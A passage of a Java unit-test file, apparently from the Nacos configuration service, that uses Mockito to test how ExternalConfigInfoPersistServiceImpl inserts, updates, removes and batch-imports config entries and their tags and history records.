new ExternalConfigInfoPersistServiceImpl(historyConfigInfoPersistService);\n    }\n    \n    @AfterEach\n    void after() {\n        dynamicDataSourceMockedStatic.close();\n        envUtilMockedStatic.close();\n        externalStorageUtilsMockedStatic.close();\n    }\n    \n    @Test\n    void testInsertOrUpdateOfInsertConfigSuccess() {\n        \n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appNameNew\";\n        String content = \"content132456\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        long insertConfigIndoId = 12345678765L;\n        GeneratedKeyHolder generatedKeyHolder = TestCaseUtils.createGeneratedKeyHolder(insertConfigIndoId);\n        externalStorageUtilsMockedStatic.when(ExternalStorageUtils::createKeyHolder).thenReturn(generatedKeyHolder);\n        //mock get config state\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null, new ConfigInfoStateWrapper());\n        //mock insert config info\n        Mockito.when(jdbcTemplate.update(any(PreparedStatementCreator.class), eq(generatedKeyHolder))).thenReturn(1);\n        Mockito.when(jdbcTemplate.update(\n                        eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                        eq(insertConfigIndoId), eq(\"tag1\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)))\n                .thenReturn(1);\n        Mockito.when(jdbcTemplate.update(\n                        eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                        eq(insertConfigIndoId), eq(\"tag2\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)))\n                .thenReturn(1);\n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        //mock insert config info\n        Mockito.doNothing().when(historyConfigInfoPersistService)\n                .insertConfigHistoryAtomic(eq(0), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class), eq(\"I\"),\n                        eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser)));\n        \n        externalConfigInfoPersistService.insertOrUpdate(srcIp, srcUser, configInfo, configAdvanceInfo);\n        //expect insert config info\n        Mockito.verify(jdbcTemplate, times(1)).update(any(PreparedStatementCreator.class), eq(generatedKeyHolder));\n        //expect insert config tags\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(insertConfigIndoId), eq(\"tag1\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(insertConfigIndoId), eq(\"tag2\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        \n        //expect insert history info\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(0L), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        eq(\"I\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser)));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateCasOfInsertConfigSuccess() {\n        \n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String appName = \"appName\";\n        String content = \"content132456\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        long insertConfigIndoId = 12345678765L;\n        GeneratedKeyHolder generatedKeyHolder = TestCaseUtils.createGeneratedKeyHolder(insertConfigIndoId);\n        externalStorageUtilsMockedStatic.when(ExternalStorageUtils::createKeyHolder).thenReturn(generatedKeyHolder);\n        //mock get config state\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null, new ConfigInfoStateWrapper());\n        //mock insert config info\n        Mockito.when(jdbcTemplate.update(any(PreparedStatementCreator.class), eq(generatedKeyHolder))).thenReturn(1);\n        Mockito.when(jdbcTemplate.update(\n                        eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                        eq(insertConfigIndoId), eq(\"tag1\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)))\n                .thenReturn(1);\n        Mockito.when(jdbcTemplate.update(\n                        eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                        eq(insertConfigIndoId), eq(\"tag2\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)))\n                .thenReturn(1);\n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        //mock insert config info\n        Mockito.doNothing().when(historyConfigInfoPersistService)\n                .insertConfigHistoryAtomic(eq(0), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class), eq(\"I\"),\n                        eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser)));\n        \n        externalConfigInfoPersistService.insertOrUpdateCas(srcIp, srcUser, configInfo, configAdvanceInfo);\n        //expect insert config info\n        Mockito.verify(jdbcTemplate, times(1)).update(any(PreparedStatementCreator.class), eq(generatedKeyHolder));\n        //expect insert config tags\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(insertConfigIndoId), eq(\"tag1\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(insertConfigIndoId), eq(\"tag2\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        \n        //expect insert history info\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(0L), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        eq(\"I\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo, srcUser)));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateOfException() {\n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        //mock get config state\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(null);\n        //mock insert config throw exception\n        long insertConfigIndoId = 12345678765L;\n        GeneratedKeyHolder generatedKeyHolder = TestCaseUtils.createGeneratedKeyHolder(insertConfigIndoId);\n        externalStorageUtilsMockedStatic.when(ExternalStorageUtils::createKeyHolder).thenReturn(generatedKeyHolder);\n        Mockito.when(jdbcTemplate.update(any(PreparedStatementCreator.class), any(KeyHolder.class)))\n                .thenThrow(new CannotGetJdbcConnectionException(\"mock fail\"));\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, null, \"content\");\n        try {\n            externalConfigInfoPersistService.insertOrUpdate(\"srcIp\", \"srcUser\", configInfo, configAdvanceInfo);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertEquals(\"mock fail\", e.getMessage());\n        }\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateOfUpdateConfigSuccess() {\n        \n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", \"desc11\");\n        configAdvanceInfo.put(\"use\", \"use2233\");\n        configAdvanceInfo.put(\"effect\", \"effect222\");\n        configAdvanceInfo.put(\"type\", \"type3\");\n        configAdvanceInfo.put(\"schema\", \"schema\");\n        \n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content132456\";\n        \n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, null, content);\n        String encryptedDataKey = \"key34567\";\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        //mock get config state,first and second is not null\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper(), new ConfigInfoStateWrapper());\n        \n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        //mock get all config info\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(configAllInfo);\n        \n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        //mock update config info\n        Mockito.when(jdbcTemplate.update(\n                eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                TableConstant.CONFIG_INFO)\n                        .update(Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified@NOW()\", \"app_name\",\n                                        \"c_desc\", \"c_use\", \"effect\", \"type\", \"c_schema\", \"encrypted_data_key\"),\n                                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"))), eq(configInfo.getContent()),\n                eq(configInfo.getMd5()), eq(srcIp), eq(srcUser), eq(configAllInfo.getAppName()),\n                eq(configAdvanceInfo.get(\"desc\")), eq(configAdvanceInfo.get(\"use\")),\n                eq(configAdvanceInfo.get(\"effect\")), eq(configAdvanceInfo.get(\"type\")),\n                eq(configAdvanceInfo.get(\"schema\")), eq(encryptedDataKey), eq(configInfo.getDataId()),\n                eq(configInfo.getGroup()), eq(tenant))).thenReturn(1);\n        \n        //mock insert config tags.\n        Mockito.when(jdbcTemplate.update(\n                eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                TableConstant.CONFIG_TAGS_RELATION)\n                        .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(12345678765L), anyString(), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant))).thenReturn(1);\n        \n        //mock insert his config info\n        Mockito.doNothing().when(historyConfigInfoPersistService)\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), eq(configInfo), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"I\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n        externalConfigInfoPersistService.insertOrUpdate(srcIp, srcUser, configInfo, configAdvanceInfo);\n        \n        //expect update config tags\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(configAllInfo.getId()), eq(\"tag1\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(configAllInfo.getId()), eq(\"tag2\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        \n        //expect insert history info\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), any(ConfigInfo.class), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"U\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateCasOfUpdateConfigSuccess() {\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", \"desc11\");\n        configAdvanceInfo.put(\"use\", \"use2233\");\n        configAdvanceInfo.put(\"effect\", \"effect222\");\n        configAdvanceInfo.put(\"type\", \"type3\");\n        configAdvanceInfo.put(\"schema\", \"schema\");\n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content132456\";\n        String encryptedDataKey = \"key34567\";\n        String casMd5 = \"casMd5..\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, null, content);\n        configInfo.setMd5(casMd5);\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        \n        //mock get config state,first and second is not null\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper(), new ConfigInfoStateWrapper());\n        \n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        //mock get all config info\n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(configAllInfo);\n        \n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        //mock update config info cas\n        Mockito.when(\n                jdbcTemplate.update(anyString(), eq(content), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)),\n                        eq(srcIp), eq(srcUser), eq(configAllInfo.getAppName()), eq(configAdvanceInfo.get(\"desc\")),\n                        eq(configAdvanceInfo.get(\"use\")), eq(configAdvanceInfo.get(\"effect\")),\n                        eq(configAdvanceInfo.get(\"type\")), eq(configAdvanceInfo.get(\"schema\")), eq(encryptedDataKey),\n                        eq(dataId), eq(group), eq(tenant), eq(casMd5))).thenReturn(1);\n        \n        //mock insert config tags.\n        Mockito.when(jdbcTemplate.update(\n                        eq(externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                        eq(configAllInfo.getId()), anyString(), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)))\n                .thenReturn(1);\n        \n        //mock insert his config info\n        Mockito.doNothing().when(historyConfigInfoPersistService)\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), eq(configInfo), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"I\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n        externalConfigInfoPersistService.insertOrUpdateCas(srcIp, srcUser, configInfo, configAdvanceInfo);\n        //expect update config cas\n        Mockito.verify(jdbcTemplate, times(1))\n                .update(anyString(), eq(content), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp),\n                        eq(srcUser), eq(configAllInfo.getAppName()), eq(configAdvanceInfo.get(\"desc\")),\n                        eq(configAdvanceInfo.get(\"use\")), eq(configAdvanceInfo.get(\"effect\")),\n                        eq(configAdvanceInfo.get(\"type\")), eq(configAdvanceInfo.get(\"schema\")), eq(encryptedDataKey),\n                        eq(dataId), eq(group), eq(tenant), eq(casMd5));\n        \n        //expect update config tags\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(configAllInfo.getId()), eq(\"tag1\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        Mockito.verify(jdbcTemplate, times(1)).update(eq(\n                        externalConfigInfoPersistService.mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                                        TableConstant.CONFIG_TAGS_RELATION)\n                                .insert(Arrays.asList(\"id\", \"tag_name\", \"tag_type\", \"data_id\", \"group_id\", \"tenant_id\"))),\n                eq(configAllInfo.getId()), eq(\"tag2\"), eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant));\n        \n        //expect insert history info\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), any(ConfigInfo.class), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"U\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n    }\n    \n    @Test\n    void testCreatePsForInsertConfigInfo() throws SQLException {\n        \n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", \"desc11\");\n        configAdvanceInfo.put(\"use\", \"use2233\");\n        configAdvanceInfo.put(\"effect\", \"effect222\");\n        configAdvanceInfo.put(\"type\", \"type3\");\n        configAdvanceInfo.put(\"schema\", \"schema\");\n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content132456\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, null, content);\n        Connection mockConnection = Mockito.mock(Connection.class);\n        PreparedStatement preparedStatement = Mockito.mock(PreparedStatement.class);\n        \n        ConfigInfoMapper configInfoMapper = externalConfigInfoPersistService.mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.CONFIG_INFO);\n        \n        Mockito.when(mockConnection.prepareStatement(anyString(), any(String[].class))).thenReturn(preparedStatement);\n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        externalConfigInfoPersistService.createPsForInsertConfigInfo(srcIp, srcUser, configInfo, configAdvanceInfo,\n                mockConnection, configInfoMapper);\n        Mockito.verify(preparedStatement, times(14)).setString(anyInt(), anyString());\n    }\n    \n    @Test\n    void testRemoveConfigInfo() {\n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock exist all config info\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        \n        Mockito.when(jdbcTemplate.queryForObject(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(configAllInfo);\n        \n        String srcIp = \"srcIp1234\";\n        String srcUser = \"srcUser\";\n        externalConfigInfoPersistService.removeConfigInfo(dataId, group, tenant, srcIp, srcUser);\n        \n        //expect delete to be invoked\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(dataId), eq(group), eq(tenant));\n        //expect delete tags to be invoked\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(configAllInfo.getId()));\n        //expect insert delete history\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), eq(configAllInfo), eq(srcIp), eq(srcUser), any(),\n                        eq(\"D\"), eq(\"formal\"), eq(null), eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n    }\n    \n    @Test\n    void testRemoveConfigInfoByIds() {\n        \n        //mock exist config info\n        final List<ConfigAllInfo> configAllInfos = new ArrayList<>();\n        final ConfigAllInfo configAllInfo1 = new ConfigAllInfo();\n        final ConfigAllInfo configAllInfo2 = new ConfigAllInfo();\n        configAllInfo1.setDataId(\"dataId1\");\n        configAllInfo1.setGroup(\"group1\");\n        configAllInfo1.setTenant(\"tenant1\");\n        configAllInfo1.setAppName(\"app1\");\n        configAllInfo2.setDataId(\"dataId2\");\n        configAllInfo2.setGroup(\"group2\");\n        configAllInfo2.setTenant(\"tenant2\");\n        configAllInfo2.setAppName(\"app2\");\n        configAllInfos.add(configAllInfo1);\n        configAllInfos.add(configAllInfo2);\n        List<Long> deleteIds = Arrays.asList(12344L, 3456789L);\n        configAllInfos.get(0).setId(12344L);\n        configAllInfos.get(1).setId(3456789L);\n        Mockito.when(jdbcTemplate.query(anyString(), eq(deleteIds.toArray()), eq(CONFIG_ALL_INFO_ROW_MAPPER)))\n                .thenReturn(configAllInfos);\n        String srcIp = \"srcIp1234\";\n        String srcUser = \"srcUser\";\n        externalConfigInfoPersistService.removeConfigInfoByIds(deleteIds, srcIp, srcUser);\n        \n        //expect delete to be invoked\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(deleteIds.get(0)), eq(deleteIds.get(1)));\n        //expect delete tags to be invoked\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(deleteIds.get(0)));\n        Mockito.verify(jdbcTemplate, times(1)).update(anyString(), eq(deleteIds.get(1)));\n        //expect insert delete history\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfos.get(0).getId()), eq(configAllInfos.get(0)), eq(srcIp),\n                        eq(srcUser), any(), eq(\"D\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfos.get(0))));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfos.get(1).getId()), eq(configAllInfos.get(1)), eq(srcIp),\n                        eq(srcUser), any(), eq(\"D\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfos.get(0))));\n        \n    }\n    \n    @Test\n    void testBatchInsertOrUpdateOverwrite() throws NacosException {\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(0));\n        //exist config and overwrite\n        configInfoList.add(createMockConfigAllInfo(1));\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(2));\n        String srcUser = \"srcUser1324\";\n        String srcIp = \"srcIp1243\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        //mock transactionTemplate and replace\n        TransactionTemplate transactionTemplateCurrent = Mockito.mock(TransactionTemplate.class);\n        ReflectionTestUtils.setField(externalConfigInfoPersistService, \"tjt\", transactionTemplateCurrent);\n        //mock add config 1 success,config 2 fail and update success,config 3 success\n        Mockito.when(transactionTemplateCurrent.execute(any()))\n                .thenReturn(new ConfigOperateResult(true), new ConfigOperateResult(false),\n                        new ConfigOperateResult(true), new ConfigOperateResult(true));\n        \n        Map<String, Object> stringObjectMap = externalConfigInfoPersistService.batchInsertOrUpdate(configInfoList,\n                srcUser, srcIp, configAdvanceInfo, SameConfigPolicy.OVERWRITE);\n        assertEquals(3, stringObjectMap.get(\"succCount\"));\n        assertEquals(0, stringObjectMap.get(\"skipCount\"));\n    }\n    \n    @Test\n    void testBatchInsertOrUpdateSkip() throws NacosException {\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(0));\n        //exist config and overwrite\n        configInfoList.add(createMockConfigAllInfo(1));\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(2));\n        String srcUser = \"srcUser1324\";\n        String srcIp = \"srcIp1243\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        //mock transactionTemplate and replace\n        TransactionTemplate transactionTemplateCurrent = Mockito.mock(TransactionTemplate.class);\n        ReflectionTestUtils.setField(externalConfigInfoPersistService, \"tjt\", transactionTemplateCurrent);\n        //mock add config 1 success,config 2 fail and skip,config 3 success\n        Mockito.when(transactionTemplateCurrent.execute(any()))\n                .thenReturn(new ConfigOperateResult(true), new ConfigOperateResult(false),\n                        new ConfigOperateResult(true));\n        \n        Map<String, Object> stringObjectMap = externalConfigInfoPersistService.batchInsertOrUpdate(configInfoList,\n                srcUser, srcIp, configAdvanceInfo, SameConfigPolicy.SKIP);\n        assertEquals(2, stringObjectMap.get(\"succCount\"));\n        assertEquals(1, stringObjectMap.get(\"skipCount\"));\n        assertEquals(configInfoList.get(1).getDataId(),\n                ((List<Map<String, String>>) stringObjectMap.get(\"skipData\")).get(0).get(\"dataId\"));\n    }\n    \n    @Test\n    void testBatchInsertOrUpdateAbort() throws NacosException {\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(0));\n        //exist config and overwrite\n        configInfoList.add(createMockConfigAllInfo(1));\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(2));\n        String srcUser = \"srcUser1324\";\n        String srcIp = \"srcIp1243\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        //mock transactionTemplate and replace\n        TransactionTemplate transactionTemplateCurrent = Mockito.mock(TransactionTemplate.class);\n        ReflectionTestUtils.setField(externalConfigInfoPersistService, \"tjt\", transactionTemplateCurrent);\n        //mock add config 1 success,config 2 fail and abort,config 3 not operated\n        Mockito.when(transactionTemplateCurrent.execute(any()))\n                .thenReturn(new ConfigOperateResult(true), new ConfigOperateResult(false));\n        \n        Map<String, Object> stringObjectMap = externalConfigInfoPersistService.batchInsertOrUpdate(configInfoList,\n                srcUser, srcIp, configAdvanceInfo, SameConfigPolicy.ABORT);\n        assertEquals(1, stringObjectMap.get(\"succCount\"));\n        assertEquals(1, stringObjectMap.get(\"skipCount\"));\n        // config 2 failed\n        assertEquals(configInfoList.get(1).getDataId(),\n                ((List<Map<String, String>>) stringObjectMap.get(\"failData\")).get(0).get(\"dataId\"));\n        //skip config 3\n        assertEquals(configInfoList.get(2).getDataId(),\n                ((List<Map<String, String>>) stringObjectMap.get(\"skipData\")).get(0).get(\"dataId\"));\n    }\n    \n    private ConfigAllInfo createMockConfigAllInfo(long mockId) {\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setCreateIp(\"localhost\");\n        configAllInfo.setCreateUser(\"test\");\n        configAllInfo.setContent(\"23456789000content\");\n        return configAllInfo;\n    }\n    \n    private ConfigInfoWrapper createMockConfigInfoWrapper(long mockId) {\n        ConfigInfoWrapper configAllInfo = new ConfigInfoWrapper();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setContent(\"23456789000content\");\n        return configAllInfo;\n    }\n    \n    private ConfigInfoStateWrapper createMockConfigInfoStateWrapper(long mockId) {\n        ConfigInfoStateWrapper configAllInfo = new ConfigInfoStateWrapper();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setLastModified(System.currentTimeMillis());\n        return configAllInfo;\n    }\n    \n    private ConfigInfo createMockConfigInfo(long mockId) {\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configInfo.setGroup(\"test\");\n        configInfo.setContent(\"23456789000content\");\n        \n        return configInfo;\n    }\n    \n    @Test\n    void testFindConfigMaxId() {\n        \n        